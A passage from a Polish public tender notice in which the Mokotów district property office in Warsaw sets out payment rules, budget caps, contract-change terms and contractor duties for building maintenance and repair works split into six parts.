publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty.3.1.8.3. Roboty polegające na usuwaniu awarii, o których mowa w pkt. 3.1.2. (3.1.2.2.) SIWZ rozliczane będą w sposób opisany powyżej z tym, że nie będzie wystawione wyprzedzająco zlecenie z protokołem typowania robot, a niezwłocznie po powzięciu wiadomości przez DOM o usunięciu awarii tworzony będzie protokół konieczności potwierdzający wykonanie prac usuwających awarię i zabezpieczenie obiektu. Zamawiający ma prawo żądać do wglądu faktur za materiały i sprzęt użyty przy wykonywaniu przedmiotu zamówienia. 3.1.8.4. Roboty polegające na wykonaniu drobnych napraw remontowych i konserwacyjnych oraz usunięciu drobnych awarii, o których mowa w pkt. 3.1.2. , 3.1.3. SIWZ zawierających nie więcej niż cztery czynności ( za czynność należy rozumieć pozycje kosztorysowe) oraz wycenionych na kwotę nie wyższą niż 250 zł netto (np. wymiana zamka, zabezpieczenie okien i drzwi, asysta przy eksmisji itp.) rozliczane będą w sposób opisany powyżej z tym, że wykonawca będzie miał prawo doliczenia do nich kwoty dodatku (D) za drobne naprawy uwzględniającej wszelkie koszty organizacji robót m. innymi dojścia, zakupu materiałów, gotowości pracowników, której wartość poda w ofercie. UWAGA: Max. wartość dodatku za drobne naprawy (D) bez VAT nie może przekroczyć kwoty 100,00 zł. netto (bez VAT). 3.1.9. Odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń, rozliczane będzie w sposób następujący: 3.1.9.1.Odśnieżanie dachów i zdejmowanie sopli lodowych w zakresie pracy ludzi rozliczane będzie w oparciu o Normy Zakładowe ZGN stanowiące Rozdział VII SIWZ i będące jednocześnie załącznikiem nr 8 do umowy według stawek podanych przez Wykonawcę w formularzu oferty częściowej, a w zakresie dotyczącym sprzętu w oparciu o rzeczywisty czas pracy sprzętu każdorazowo potwierdzony przez inspektora nadzoru. 3.1.9.2.Czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będzie w oparciu o rzeczywisty czas pracy ludzi i sprzętu, każdorazowo potwierdzony przez inspektora nadzoru, według stawek podanych przez Wykonawcę w formularzu oferty częściowej. 3.1.9.3.Ceny pracy sprzętu przy zdejmowaniu sopli lodowych i czyszczeniu rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców, lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, informacji o cenach czynników produkcji RMS" w kwartale, w którym usługi będą zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Za odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń Wykonawca będzie wystawiał odrębne faktury.3.1.10. Ewentualne usuwanie zanieczyszczeń z przewodów dymowych, spalinowych i wentylacyjnych, na zlecenie z DOM, rozliczane będzie w oparciu o podaną w formularzu oferty częściowej stawką roboczogodziny zgodnie z uwzględnieniem rzeczywistego czasu pracy ludzi. Za prace wymienione w zdaniu poprzednim Wykonawca będzie wystawiał odrębne faktury.3.1.11. Przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których wykazy budynków zawiera Rozdział IV SIWZ, okresowych kontroli rozliczane będzie na podstawie cen zaoferowanych przez Wykonawcę w wykazie budynków gminnych zarządzanych i administrowanych przez ZGN, stanowiącego Rozdział IV A siwz i ilości skontrolowanych budynków.3.1.12. Zamawiający zastrzega, że: 3.1.12.1. na wykonywanie czynności o których mowa w pkt. 3.1.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę kosztorysu ofertowego, sporządzonego na postawie przedmiaru robót stanowiącego Rozdział VI SIWZ, 3.1.12.2. na wykonywanie czynności o których mowa w pkt. 3.1.2.; 3.1.2.2., 3.1.3. , 3.1.4. i 3.1.5. siwz przeznacza kwoty z podatkiem VAT nie większe niż: 3.1.12.2.1. dla części I: DOM Służewiec - kwota 24.000,00 zł z VAT, 3.1.12.2.2. dla części II: DOM Wierzbno - kwota 26.204,82 zł z VAT 3.1.12.2.3. dla części III: DOM Wiśniowa - kwota 24.000,00 zł z VAT, 3.1.12.2.4. dla części IV: DOM Madalińskiego - kwota 36.000,00 zł z VAT 3.1.12.2.5. dla części V: DOM Konduktorska - kwota 36.049,26 zł z VAT, 3.1.12.2.6. dla części VI: DOM Polkowska - kwota 25.600,00 zł z VAT3.1.12.3. na wykonywanie czynności o których mowa w pkt. 3.1.2.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę wykazu budynków wraz z cenami za kontrolę.3.2. Zamawiający nie przewiduje udzielania zaliczek na poczet wykonania zamówienia3.3. Wykazy budynków gminnych oraz budynków Wspólnot Mieszkaniowych z lokalami gminnymi i budynków/lokali oświaty w których realizowane będą zamówienia stanowią Rozdział IV SIWZ. Wykazy budynków, o których mowa wyżej mogą ulec zmianie w zakresie wskazanych adresów budynków poprzez jednostronną czynność Zamawiającego. 3.4. Szczegółowy zakres obowiązków Wykonawcy zawarty jest w § 1, 3, 4 i 5 Istotnych postanowień umowy, które stanowią Rozdział III SIWZ.3.5.1. Czynności, o których mowa w pkt. 3.1. niniejszej specyfikacji, mają być wykonywane zgodnie z: 3.5.1.1. Dokumentacją techniczną w formie ,,ramowego" przedmiaru robót, która stanowi Rozdział VI specyfikacji istotnych warunków zamówienia, specyfikacją techniczną wykonania i odbioru robót - stanowiącą Rozdział V SIWZ,.3.5.1.2.	warunkami wynikającymi z przepisów technicznych i czynnościami wymienionymi w art. 22 Ustawy z dnia 07.07.1994 r. Prawo budowlane (tekst jednolity Dz. U. z 2018 r. poz.1202, ze zmianami) i jej przepisów wykonawczych,3.5.1.3. wymaganiami wynikającymi z aktualnych Polskich lub Europejskich Norm i aprobat technicznych, 3.5.1.4. zasadami rzetelnej wiedzy technicznej i sztuki budowlanej, 3.5.1.5. warunkami wynikającymi z Istotnych postanowień umowy stanowiących Rozdział III specyfikacji istotnych warunków zamówienia.oraz3.5.1.6. w sposób zapewniający kulturalną obsługę najemcy.3.5.2. Materiały i produkty, które będą używane do realizacji zamówienia, powinny odpowiadać wymaganiom ujętym w art. 10 ustawy Prawo budowlane i w Ustawie o wyrobach budowlanych Dz. U. z 2019 r. poz.266) i posiadać certyfikat na znak bezpieczeństwa w odniesieniu do wyrobów podlegających tej certyfikacji. Dla pozostałych materiałów, z wyłączeniem wskazanych w rozporządzeniu MSWiA z dnia 24 lipca 1998 r. w sprawie określenia wykazu wyrobów nie mającego istotnego wpływu na spełnienie wymagań podstawowych oraz wyrobów wytwarzanych i stosowanych według uznanych zasad sztuki budowlanej (Dz. U. z 1998r., Nr 99, poz.637), posiadać deklarację zgodności z dokumentem odniesienia jakim jest Polska Norma, a w przypadku jej braku krajową aprobatą techniczną (AT) lub europejską aprobatą techniczną (ETA). Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikaty i deklaracje dopuszczające wyrób do obrotu i stosowania w budownictwie. Ponadto podczas wykonywania zamówienia Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikat na znak bezpieczeństwa, deklaracje zgodności lub certyfikat zgodności z Polską Normą lub z aktualną aprobatą techniczną. 3.6. Zmiany umowy:3.6.1. Zamawiający dopuszcza możliwość wprowadzenia zmian postanowień umowy, w stosunku do treści oferty, na podstawie, której dokonano wyboru Wykonawcy w razie:3.6.1.1.	dokonywania zmian przewidzianych w SIWZ w postaci jednoznacznych postanowień umownych, określających zakres zmian, w szczególności możliwość zmiany terminu wykonania, wynagrodzenia Wykonawcy i charakteru oraz warunków ich wprowadzenia i tak w przypadku:3.6.1.1.1.	zmiany regulacji prawnych wprowadzonych w życie po dacie zawarcia umowy i mających wpływ na treść umowy wraz ze skutkami takiej zmiany regulacji prawnych,3.6.1.1.2. powierzenia Podwykonawcy wykonania całości bądź części Przedmiotu zamówienia w zakresie i na warunkach wynikających z umowy między Wykonawcą a Podwykonawcą zaakceptowanej przez Zamawiającego lub zmiany Podwykonawcy w sytuacji, gdy z przyczyn, których nie można było przewidzieć w chwili zawarcia z nim umowy dotyczącej wykonywania Przedmiotu zamówienia, koniecznym będzie dla prawidłowego jego wykonania posłużenie się przez Wykonawcę nowym Podwykonawcą, który będzie realizował część lub cały zakres robót powierzony uprzednio innemu Podwykonawcy. Jeżeli zmiana albo rezygnacja z Podwykonawcy dotyczy podmiotu, na którego zasoby Wykonawca powoływał się, na zasadach określonych w art. 22a ustawy, w celu wykazania spełniania warunków udziału w postępowaniu, o których mowa w art. 22 a ust. 4 ustawy, Wykonawca jest obowiązany wykazać Zamawiającemu, iż proponowany inny Podwykonawca lub Wykonawca samodzielnie spełnia je w stopniu nie mniejszym niż wymagany w trakcie postępowania o udzielenie zamówienia i nie podlega wykluczeniu z postępowania;3.6.1.1.3. zmiany zakresu części Przedmiotu zamówienia powierzonego Podwykonawcom wynikającej z aneksów do umów zawartych przez Wykonawcę z Podwykonawcami i zaakceptowanych przez Zamawiającego w przypadku wykonywania Przedmiotu zamówienia z udziałem Podwykonawców.3.6.1.1.4.	zmiany osób uczestniczących w realizacji przedmiotu zamówienia, przy czym warunkiem dokonania takiej zamiany jest posiadanie przez nowo wskazane osoby wymaganych uprawnień, kwalifikacji i doświadczenia zgodnego z warunkami określonymi w tym zakresie w SIWZ;3.6.1.2. zaistnienia konieczności wykonania przez Wykonawcę robót dodatkowych, nieobjętych zamówieniem podstawowym (przedmiotem zamówienia), o ile stały się niezbędne, a ponadto spełnione są łącznie następujące warunki:3.6.1.2.1.zmiana Wykonawcy nie może zostać dokonana z powodów ekonomicznych lub technicznych, w szczególności dotyczących zamienności lub interoperacyjności sprzętu, robót lub instalacji zamówionych w ramach zamówienia podstawowego (przedmiotu zamówienia);3.6.1.2.2. zmiana Wykonawcy spowodowałaby istotną niedogodność lub znaczne zwiększenie kosztów dla Zamawiającego;3.6.1.2.3. wartość każdej kolejnej zmiany umowy nie przekroczy 50% wartości umowy,3.6.1.3. gdy zmiana umowy spowodowana jest okolicznościami, których Zamawiający działając z należytą starannością nie mógł przewidzieć i jednocześnie ich wartość nie przekracza 50% wartości przedmiotu zamówienia. 3.6.1.4.	gdy Wykonawcę ma zastąpić inny podmiot:3.6.1.4.1. na podstawie postanowień umownych, o których mowa w pkt. 3.6.1.1. SIWZ, 3.6.1.4.2. w wyniku połączenia, podziału, przekształcenia, upadłości, restrukturyzacji lub nabycia dotychczasowego Wykonawcy lub jego przedsiębiorstwa, o ile nowy podmiot spełnia warunki udziału w postępowaniu, nie zachodzą wobec niego podstawy wykluczenia oraz nie pociąga to za sobą innych istotnych zmian umowy;3.6.1.4.3. w wyniku przejęcia przez Zamawiającego zobowiązań Wykonawcy względem jego podwykonawców, o ile Wykonawca wykonuje przedmiot zamówienia z udziałem podwykonawców3.6.1.5.	zmian - niezależnie od ich wartości, jeżeli nie są one istotne w rozumieniu art. 144 ust. 1e ustawy;3.6.1.6. łączna wartość zmian jest mniejsza niż kwoty określone w przepisach wydanych na podstawie art. 11 ust. 8 ustawy i jest mniejsza niż 10 % wartości przedmiotu zamówienia; 3.6.1.7.	zmiany wysokości wynagrodzenia w przypadku:3.6.1.7.1. zmiany stawki podatku od towarów i usług;3.6.1.7.2. zmiany wysokości minimalnego wynagrodzenia za pracę albo wysokości minimalnej stawki godzinowej, ustalonych na podstawie przepisów ustawy z dnia 10 października 2002 r. o minimalnym wynagrodzeniu o pracę (tj. Dz. U. z 2017 r. poz. 847);3.6.1.7.3. zmiany zasad podlegania ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub wysokości stawki składki na ubezpieczenia społeczne lub zdrowotne, na zasadach i w sposób opisany w § 15 istotnych postanowień umowy -Rozdział III SIWZ3.6.2. Z wyjątkiem zamian określonych w § 1 ust. 3, 4 i 5 4 ust. 4, 10 i 11 oraz w § 8 ust. 5 istotnych postanowień umowy -Rozdział III SIWZ, wszelkie inne zmiany umowy zawartej w wyniku rozstrzygnięcia przedmiotowego postępowania wymagają sporządzenia aneksu do umowy w formie pisemnej pod rygorem nieważności.3.6.3. W przypadkach, o których mowa w pkt. 3.6.1.2., 3.6.1.3. oraz 3.6.1.4. ppkt. 3.6.1.4.2. SIWZ Zamawiający nie wprowadzi kolejnych zmian umowy w celu uniknięcia stosowania przepisów ustawy Prawo zamówień publicznych.3.6.4. W przypadkach, o których mowa w pkt. 3.6.1.1., 3.6.1.3. i 3.6.1.6. SIWZ zmiany postanowień umowy nie mogą prowadzić do zmiany charakteru umowy.3.6.5. Wynagrodzenie dla Wykonawcy za wykonanie robót mieszczących się w zakresie, o którym mowa w pkt. 3.6.1.2, 3.6.1.3. i 3.6.1.6. SIWZ obliczone będzie wg zasad przyjętych w niniejszej umowie i kwot zawartych w ofercie. 3.6.6. Zamawiający zastrzega sobie możliwość zmiany wykazu budynków stanowiących Rozdział IV siwz.3.6.7. Zamawiający zastrzega sobie możliwość zmiany lub uzupełnienia o nowe pozycje Norm Zakładowych Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów m. st. Warszawy, które stanowią Rozdział VII siwz.3.6.8. Na etapie realizacji umowy Zamawiający zastrzega sobie możliwość dokonania zmiany przedmiaru robót stanowiącego Rozdział VI SIWZ, w zakresie ilości robót i ich rodzajów wyszczególnionych w poszczególnych pozycjach, co skutkować będzie zmianą kosztorysu zamiennego/powykonawczego Wykonawcy , z zastrzeżeniem, że zmiana ta nie może prowadzić do zwiększenia zaoferowanej przez Wykonawcę w kosztorysie ofertowym ceny.3.7.	Wykonawca zobowiązany będzie do: 3.7.1. posiadania opłaconej polisy lub innego dokumentu ubezpieczenia na kwotę nie niższą niż równowartość 100.000 złotych polskich, potwierdzającego, że jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności gospodarczej, w tym w zakresie przedmiotu zamówienia; 3.7.2. wniesienia zabezpieczenia należytego wykonania umowy na zasadach określonych w pkt. 22 SIWZ; 3.7.3. udzielenia gwarancji na wykonane przez siebie roboty na czas minimum 36 miesięcy od daty odbioru. Warunki gwarancji zawierają Istotne postanowienia umowy stanowiące Rozdział III SIWZ - wydłużenie okresu udzielonej gwarancji powyżej 36 miesięcy stanowi kryterium oceny ofert i punktowane będzie w sposób opisany w pkt. 19 SIWZ; 3.7.4. przedłożenia Zamawiającemu do zatwierdzenia harmonogramu kontroli (przeglądów), o których mowa w pkt. 3.1.1. SIWZ, w ciągu 7 dni kalendarzowych po podpisaniu umowy;3.7.5. zgłaszania się w okresie obowiązywania umowy, zawartej w wyniku rozstrzygnięcia niniejszego postępowania, w dni robocze w godzinach 7-15 niezwłocznie po otrzymaniu telefonicznego wezwania lub po wcześniejszym kontakcie wykonawcy z Zamawiającym w celu pobierania zleceń;. 3.7.6. pełnienia całodobowo usług pogotowia i dyżuru pod numerem telefonu, na który będą mogły być całodobowo zgłaszane przestoje i usterki budowlane w trakcie realizacji umowy zawartej w wyniku rozstrzygnięcia niniejszego postępowania; Numer telefonu będzie podany na piśmie dla danego DOM przez Wykonawcę w dacie podpisania umowy. 3.7.7. podpisania umowy na wykonywanie robót mających na celu utrzymanie sprawności technicznej elementów budynków zgodnych w zakresie określonym w pkt od 3.1.1. do 3.1.10. SIWZ na warunkach określonych w złożonej i przyjętej ofercie w budynkach Wspólnot Mieszkaniowych (które wyrażą na to zgodę) wyszczególnionych w Rozdziale IV B SIWZ: 3.7.7.1. warunki gwarancji i wykonania zamówienia w budynkach Wspólnot Mieszkaniowych będą zgodne z warunkami określonymi w niniejszej specyfikacji oraz w istotnych postanowieniach umowy, stanowiących Rozdział III SIWZ, 3.7.7.2. Wykonawca zobowiązany będzie do wystawienia faktur za roboty wykonane w budynkach Wspólnot Mieszkaniowych, o których mowa w pkt. 3.7.7. SIWZ, podmiotom, na rzecz których roboty będzie wykonywał, 3.8. Zaoferowana przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - maksymalna stawka roboczogodziny kosztorysowej nie może przekroczyć średniej warszawskiej określonej w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. dla robót budowlanych: R netto = 21,93 zł. i R brutto = 38,26 zł. Stawka roboczogodziny kosztorysowej brutto obejmuje wartość stawki roboczogodziny kosztorysowej netto powiększonej o narzut kosztów pośrednich i zysk kalkulacyjny [Rbrutto = (Rnetto + Kp + Z)]. Wykonawca musi wpisać oferowane stawki roboczogodziny kosztorysowej Rnetto i Rbrutto, Kp i Z w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej. 3.9.	Zaoferowany przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - wskaźnik narzutu kosztów zakupu materiałów (Wkz) - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - nie może być wyższy niż średni warszawski określony w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. tj. dla robót budowlanych i wynoszący Wkz = 4,4 %. Wykonawca musi wpisać oferowane Wkz w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej.3.10.	Zaoferowana przez Wykonawcę cena (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy każdego z budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w przeliczeniu na 1m3 kubatury budynku za jeden przegląd nie może przekraczać 0,10 złotego (bez VAT), przy czym cena za jeden przegląd każdego pojedynczego budynku nie może być niższa niż 1 zł ( bez VAT). Wykonawca musi wpisać ceny w kol. 11 wykazów budynków gminnych, zarządzanych i administrowanych przez ZGN, stanowiących Rozdział IV A SIWZ, nie wyższe niż 0,10 zł/m3 (bez VAT) kubatury budynku za przegląd każdego budynku gminnego zarządzanych i administrowanych przez ZGN, przy czym cena za jeden przegląd każdego pojedynczego ww. budynku nie może być niższa niż 1zł ( bez VAT). Suma wszystkich cen wymienionych w kolumnie 11 pod nazwą ,,Cena za przegląd każdego budynku wyszczególnionego w kol. 2 wg terminów wyszczególnionych w kol. 12" musi być umieszczona we wzorze formularza oferty częściowej w pkt. 1 c jako ,,suma cen (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy, dla wszystkich budynków gminnych zarządzanych i administrowanych przez ZGN w 2020 r. w DOM (dla którego składana jest oferta częściowa). Ponadto w w/w pkt. 1 c należy wpisać kwotę podatku VAT oraz sumę cen (z VAT) za dokonywane co 12 miesięcy całoroczne przeglądy [P] budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w DOM, dla którego składana jest oferta częściowa. W 2019 r nie będzie przeglądów.3.11.	Dla realizacji przedmiotu zamówienia, na czas obowiązywania umowy, która zostanie zawarta w wyniku rozstrzygnięcia przedmiotowego postępowania, istnieje możliwość wynajęcia od zamawiającego pomieszczeń na zaplecze techniczne po stawkach strefowych na zasadach przyjętych przez m. st. Warszawę ZGN w Dzielnicy Mokotów. 3.11.1. Część 1: brak pomieszczeń.3.11.2. Część 2 : brak pomieszczeń.3.11.3. część 3 - brak pomieszczeń 3.11.4. Część 4 : dla DOM ,,Madalińskiego" : ul. Wiśniowej 35 wiata w podwórku o pow. 47,26 m2, wyposażone w energię elektryczną,3.11.5. Część 5 : dla DOM ,,Konduktorska": pomieszczenia wyposażone w instalację elektryczną przy ul. Konduktorskiej 12, - wiata blaszana nr 1 o pow. 24,89 m2, - wiata blaszana nr 2 o pow. 19,89 m2, - wiata blaszana nr 5 o pow. 11,04 m2, - wiata blaszana nr 6 o pow. 15,45 m2 - wiata blaszana nr 7 o pow. 15,40 m2,- pomieszczenie piwniczne wyposażone w energię elektryczna o pow. 11,70 m2. 3.11.6. Część 6 : dla DOM ,,Polkowska":- pomieszczenie gospodarcze w piwnicy budynku biurowego DOM, pow. 15,68 m2, wyposażone w co i elektryczność, - wiata na podwórku wyposażona w elektryczność o pow. 100,28 m2 , - garaż na podwórku wyposażony w elektryczność o powierzchni 30,00 m2,możliwość korzystania z w.c. ogólnego w budynku biurowym DOM. Stawki czynszu dla wszystkich w/w lokali będą naliczone - wg obowiązujących w ZGN Mokotów na dzień podpisania umowy. 3.12. Wykonawca musi mieć zatrudnione na podstawie umowy o pracę, w rozumieniu przepisów ustawy z dnia 26 czerwca 1974 r. -Kodeks pracy (Dz. U. z 2019 r., poz. 9171040 z późn. zm.). osoby wykonujące wszystkie czynności będące przedmiotem zamówienia dotyczące wykonywania wszystkich robót remontowych zapewniających stałe utrzymanie w ruchu budynków oraz robót mających na celu utrzymanie sprawności technicznej elementów budynków, wyszczególnione w opisie przedmiotu zamówienia w pkt. 3.1. SIWZ, z wyjątkiem przypadków prawem wyłączonych. Obowiązek zatrudnienia na podstawie w/w umowy o pracę nie dotyczy osób, które będą pełniły funkcję kierownika/kierowników robót objętych zamówieniem oraz będą wykonywały przeglądy roczne budynków, które mogą być zatrudnione przez Wykonawcę w ramach stosunków prawnych dopuszczonych przez prawo. Obowiązek, o którym mowa w zdaniu pierwszym, dotyczy również podwykonawców realizujących zamówienie, na zasoby których Wykonawca się powołuje oraz innych podmiotów uczestniczących w wykonaniu zamówienia, na zasoby których Wykonawca się powołuje.3.13. W odniesieniu do wykonywania robót budowlanych wymagających ustanowienia kierownika robót oraz do wykonywaniu przeglądów budowlanych rocznych objętych zamówieniem Wykonawca zobowiązany jest zapewnić do nadzorowania robót budowlanych i wykonania przeglądów osobę posiadającą uprawnienia budowlane wymagane ustawą prawo budowlane, - do kierowania robotami, a w przypadku przeglądów dodatkowo do kontrolowania i oceny stanu technicznego elementów konstrukcyjnych w specjalności konstrukcyjno-budowlanej w zakresie niezbędnym do realizacji przedmiotu zamówienia lub odpowiedni dokument stwierdzający przygotowanie zawodowe do wykonywania powyższych czynności oraz wpis na listę członków właściwej izby samorządu zawodowego. 3.14 . Zamawiający przewiduje możliwość udzielenia zamówień podobnych, o których mowa w art. 67 ust. 1 pkt. 6 ustawy w przypadku włączenia do robót wchodzących w zakres przedmiotu zamówienia budynków nowo oddanych do administrowania ZGN lub nie ujętych w zestawieniu stanowiącym załącznik Rozdział IVA, IVB, IVC SIWZ - Wykaz budynków, itp. oraz w przypadku powtórzenia podobnych robót, w budynkach o których mowa w zdaniu poprzednim oraz w przypadku konieczności wykonania zamówień podobnych we wszystkich budynkach objętych zamówieniem, w okresie 3 lat od udzielenia zamówienia podstawowego. Wartość w/w powtórzonych podobnych robót nie przekroczy 50 % wartości zamówienia podstawowego tj. kwoty 510.000,00 z VAT. Zamawiający dokonywać będzie podziału w/w kwoty pomiędzy działy obsługi mieszkańców (DOM) wg. potrzeb i posiadanych środków.Warunki udzielenia zamówień podobnych: Wykonawca będzie wykonywał zamówienie należycie i bez zbędnej zwłoki, w standardach nie gorszych niż w umowie podstawowej, na warunkach umowy podstawowej. Ceny będą podlegały negocjacji.</span> <br/> <br/> <b>II.5) Główny kod CPV: </b> <span id="ctl00_ContentPlaceHolder1_cpv_glowny_przedmiot">45000000-7</span> <br/> <b> Dodatkowe kody CPV:</b> <br/> <TABLE style='border: 1px solid black;border-collapse: collapse;'><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Kod CPV</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>45453000-7</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>45410000-4</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>45420000-7</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>45430000-0</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>45440000-3</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>45450000-6</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>45111300-1</TD></TR></TABLE> <br /> <br /> <b> II.6) Całkowita wartość zamówienia </b><i>(jeżeli zamawiający podaje informacje o wartości zamówienia)</i>: <br/> Wartość bez VAT: <span id="ctl00_ContentPlaceHolder1_szacunkowa_wartosc_zamowienia_calosc">956453,42</span> <br/> Waluta: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_waluta_calosc">ZL</span> <br/> <i>(w przypadku umów ramowych lub dynamicznego systemu zakupów - szacunkowa całkowita maksymalna wartość w całym okresie obowiązywania umowy ramowej lub dynamicznego systemu zakupów)</i> </div> <br/> <b> II.7) Czy przewiduje się udzielenie zamówień, o których mowa w art. 67 ust. 1 pkt 6 i 7 lub w art. 134 ust. 6 pkt 3 ustawy Pzp: </b> <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zamowien_67">Tak</span> <br/> Określenie przedmiotu, wielkości lub zakresu oraz warunków na jakich zostaną udzielone zamówienia, o których mowa w art. 67 ust. 1 pkt 6 lub w art. 134 ust. 6 pkt 3 ustawy Pzp: <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zamowien_67_tekst">3.1. Zamówienie składa się z 6 części (6 DOM-ów). Część I DOM Służewiec, Część II DOM Wierzbno", Część III DOM Wiśniowa, Część IV DOM Madalińskiego, Część V DOM Konduktorska, Część VI DOM Polkowska. W ramach każdej z części zamówienia w zakresie przedmiotu zamówienia Wykonawca zobowiązany będzie do wykonywania robót mających na celu utrzymanie sprawności technicznej elementów budynków i obiektów znajdujących się na terenach administrowanych przez ZGN, w zakres których wchodzą w szczególności roboty polegające na wykonaniu: 3.1.1. robót wyszczególnionych w ,,ramowym" przedmiarze robót stanowiącym załącznik do SIWZ (Rozdział VI siwz) w szczególności:3.1.1.1. roboty posadzkarskie i okładzinowe ścian:?	skucie posadzki ceramicznej, ?	zerwanie posadzek z PCV, ?	przybicie płyt twardych pod posadzki, ?	wykonanie warstw wyrównawczych,?	naprawa posadzek cementowych i drewnianych, ? ułożenie posadzek z tworzywa sztucznego, montaż progów przejściowych, ?	montaż listew przyściennych drewnianych. ? cyklinowanie posadzek z deszczułek drewnianych,? szlifowanie posadzek z lastryko,?	demontaż boazerii, paneli ściennych itp.,?	demontaż złomowy sufitów podwieszanych,?	rozebranie posadzek z deszczułek z oderwaniem listew lub cokołów,?	skucie lepiku, subitu lub kleju trwale związanego z podkładem betonowym po rozebraniu posadzki z deszczułek,3.1.1.2. roboty murarskie: ? wykucie z muru kratek wentylacyjnych, ościeżnic drewnianych i metalowych, podokienników drewnianych i z lastryko, ? zamurowanie przebić w ścianach, ? obsadzenie kratek wentylacyjnych oraz ościeżnic stalowych, 3.1.1.3. roboty stolarskie: ? demontaż szaf wbudowanych, ?	demontaż ścianki drewnianej,?	wykonanie ścianki z płyty gipsowych + montaż ościeżnicy stalowej, ?	montaż okuć stolarskich, zasuwki, wkładka Yale itp.,? montaż nawiewnika w stolarce okiennej, ? montaż szafki pod zlewozmywak, ? regulacja stolarki okiennej, drzwiowej,?	rozszklenie i szklenie otworów okiennych lub drzwiowych,3.1.1.4. roboty malarskie emulsyjne i olejne: ? malowanie używanych ościeżnic stalowych, rur oraz grzejników farba olejną, ? jednokrotne malowanie podokienników, ? przygotowanie powierzchni ścian pod malowanie olejne i emulsyjne oraz sufitów pod emulsyjne, ? jednokrotne malowanie ścian farbami olejnymi z jednokrotnym szpachlowaniem, ? dwukrotne malowanie farbą emulsyjną sufitów i ścian po uprzednim zeskrobaniu starej farby i zagruntowaniu, ?	Ługowanie farby olejnej z tynków3.1.1.5. roboty tynkarskie?	odbicie tynków wewnętrznych z zaprawy cementowo-wapiennej na ścianach i sufitach,?	naprawa pęknięć tynku na ścianach i sufitach,?	tynki wewnętrzne zwykłe kat. III wykonywane ręcznie na ścianach i sufitach,?	tynki wewnętrzne pocienione,?	skasowanie wykwitów (zacieków),?	przecieranie istniejących tynków wewnętrznych z zeskrobaniem farby lub zdzieraniem tapet na ścianach,3.1.1.6. roboty towarzyszące:? wywiezienie materiałów z rozbiórki, ? mycie stolarki okiennej oraz parapetów,? zabezpieczenie podłóg folią, 3.1.1.7. roboty zewnętrzne :-	drobne naprawy nawierzchni drogowych,-	zasypywanie dołów i dziur po gryzoniach,-	malowanie pasów , miejsc postojowych i znaków poziomych,-	naprawa pokryć dachowych,-	naprawa elementów obiektów związanych z budynkiem i terenem, -naprawa elementów zewnętrznych budynków gminnych takich jak: rynny, okapy, tynki, opaski, zamalowywani graffiti. 3.1.2. robót zapewniających stałe utrzymanie w ruchu budynków gminnych oraz lokali gminnych znajdujących się w tych budynkach zarządzanych i administrowanych przez Zakład Gospodarowania Nieruchomościami w Dzielnicy Mokotów oraz lokali gminnych, znajdujących się w budynkach wspólnotowych będących i nie będących w administracji Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów i budynków/lokali oświaty DOM Służewiec, DOM Wierzbno", DOM Wiśniowa , DOM Madalińskiego, DOM Konduktorska, DOM Polkowska w tym: 3.1.2.1. przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których 